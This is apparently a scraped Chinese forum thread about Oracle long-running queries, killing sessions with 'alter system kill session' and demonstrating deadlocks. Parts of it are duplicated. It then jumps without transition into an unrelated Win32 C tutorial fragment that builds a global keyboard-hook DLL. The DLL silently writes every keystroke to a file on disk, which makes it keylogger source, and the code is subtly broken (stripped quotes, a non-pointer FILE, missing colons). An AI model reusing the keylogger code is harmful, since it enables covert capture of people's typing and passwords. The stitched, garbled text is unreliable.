1、长事务SQL> create table t_test as select * from all_objects;
Table created.
SQL> analyze table t_test compute statistics;
Table analyzed.
SQL> select count(*) from t_test a, t_test b;---过6秒中后,应该是长事务了。此时上句执行还未结束。开另一个会话
select * from v$session_longops where sofar < totalwork;
no rows selected问题一、怎么会这样啊?应该可以查出来啊!问题二、 如何杀掉长事务(通过sql语句)。
2、死锁有什么好的死锁例子吗?(我用的是OleDb,希望用sql语句实现死锁)问题三、怎样杀掉死锁。
Table created.
SQL> analyze table t_test compute statistics;
Table analyzed.
SQL> select count(*) from t_test a, t_test b;---过6秒中后,应该是长事务了。此时上句执行还未结束。开另一个会话
select * from v$session_longops where sofar < totalwork;
no rows selected问题一、怎么会这样啊?应该可以查出来啊!问题二、 如何杀掉长事务(通过sql语句)。
2、死锁有什么好的死锁例子吗?(我用的是OleDb,希望用sql语句实现死锁)问题三、怎样杀掉死锁。
问题一、怎么会这样啊?应该可以查出来啊!
这里不是死锁,是sql还在执行,还没有执行出结果而已问题二、 如何杀掉长事务(通过sql语句)。
SQL>alter system kill session 'sid,serial#'
或者用系统级别的kill以及orakill问题三、怎样杀掉死锁。
更加v$locked_object和v$lock表,查到session,用方法二杀掉session就可以叻。有什么好的死锁例子吗
比如有两个事务
A事务 先更新A1对象 再更新A2对象
B事务 和A事务相反,先更新A2对象,再更新A1对象现在两个事务都启动了,
当A执行到了A1,还没有开始执行A2.
B事务也开始了,而且B事务已经执行了A2更新了,开始执行A1了,这时候,死锁也就发生了,A等待B的提交,反过来B有等待A的提交。
这里不是死锁,是sql还在执行,还没有执行出结果而已
----我没说这是死锁,我说它是一个长事务(在oracle中,运行时间超过6秒的事务就被视为长事务)。而长事务会在v$session_longops表中可以查到!(select count(*) from t_test a, t_test b; 这句执行时间肯定会超过六秒)问题三、怎样杀掉死锁。
更加v$locked_object和v$lock表,查到session,用方法二杀掉session就可以叻。 有什么好的死锁例子吗
比如有两个事务
A事务 先更新A1对象 再更新A2对象
B事务 和A事务相反,先更新A2对象,再更新A1对象 -----这个方法,我也知道。但是如果要想通过OleDb(我的程序中用这个),我update它会立即commit啊。所以不行。有没有更好的方法呢!
谢谢大家!
问题一、怎么会这样啊?应该可以查出来啊!
这里不是死锁,是sql还在执行,还没有执行出结果而已 你是一个普通的query语句,默认情况不会产生事务,当然你可以指定一个事务,所以这里不是你说的长事务。
对这个OleDb的具体操作不是很清楚,不过我想提供的这些方式当中应该有事务这样的概念的,你这里是不是olddb的默认是autocommit的,你设置一下你的oledb的autocommit的选择,改成false
关注下,你oledb里面,自己开启一个事务吧!不要用db的auto commit啊!
1、你oledb里面,自己开启一个事务吧!不要用db的auto commit啊! -----恩,谢谢!2、问题一、怎么会这样啊?应该可以查出来啊!
这里不是死锁,是sql还在执行,还没有执行出结果而已 你是一个普通的query语句,默认情况不会产生事务,当然你可以指定一个事务,所以这里不是你说的长事务。请问inthirties, 就这句话:select count(*) from t_test a, t_test b ,如何指定成一个事务。谢谢!
<<inner1>>
select count(*) from t_test a, t_test b where a.aid=b.aid;
end inner1;
我想再现一个长事务,然后把它kill掉。(用于性能测试)
SQL> begin
2 <<inner1>>
3 select count(*) from t_test a, t_test b where a.aid=b.aid;
4 end inner1;
5
6 /begin
<<inner1>>
select count(*) from t_test a, t_test b where a.aid=b.aid;
end inner1;ORA-06550: ? 3 ?, ? 63 ?:
PL/SQL: ORA-00904: "B"."AID": ?????
ORA-06550: ? 3 ?, ? 10 ?:
PL/SQL: SQL Statement ignored06550, 00000, "line %s, column %s:\n%s"
// *Cause: Usually a PL/SQL compilation error.
// *Action:
begin
<<inner1>>
select count(*) from t_test a, t_test b where a.aid=b.aid;
end inner1;
declare
v_c number;
begin
begin
<<inner1>>
select count(*) into v_c from t_customer t, t_customer_tel;
end inner1;
dbms_output.put_line(v_c);
end;
/
'alter system kill session ' ||''''||l.SESSION_ID||','||s.SERIAL#|| ''';'
FROM V$LOCKED_OBJECT l,V$SESSION s WHERE l.SESSION_ID=s.SID ;
C语言去编写。这主要是因为使用WIN32 API能够更详细、更全面的控制程序的如何执行,而使用MFC,一些低级的控制是不可能实现的(当然,仅对该程序来说,也是可
以使用MFC的)。1:建立一个动态连接库的.cpp文件。比如我们现在建立一个名为hookdll.cpp的文件。在hookdll.cpp的文件中加上如下内容:
#include windows.h
#include string.h
#include stdio.h HINSTANCE hInst;#pragma data_seg(hookdata)
HHOOK oldkeyhook=0;
#pragma data_seg()#pragma comment(linker,SECTIONhookdata,RWS)#define DllExport extern C__declspec(dllexport)DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam
);
DllExport void InstallHook(int nCode);
DllExport void EndHook(void);BOOL WINAPI DllMain(HINSTANCE hInstance,ULONG What,LPVOID NotUsed)
{
switch(What)
{
case DLL_PROCESS_ATTACH
hInst = hInstance;
break;
case DLL_PROCESS_DETACH
break;
case DLL_THREAD_ATTACH
break;
case DLL_THREAD_DETACH
break; }
return 1;
}void InstallHook(int nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,hInst,0);
}DllExport LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam, LPARAM lParam )
{
WPARAM j;
FILE fp;
if(lParam&0x80000000)
{
j = wParam;
fp=fopen(chookkey.txt,a);
fprintf(fp,%4d,j);
fclose(fp);
}
return CallNextHookEx(oldkeyhook,nCode,wParam,lParam);
}
void EndHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}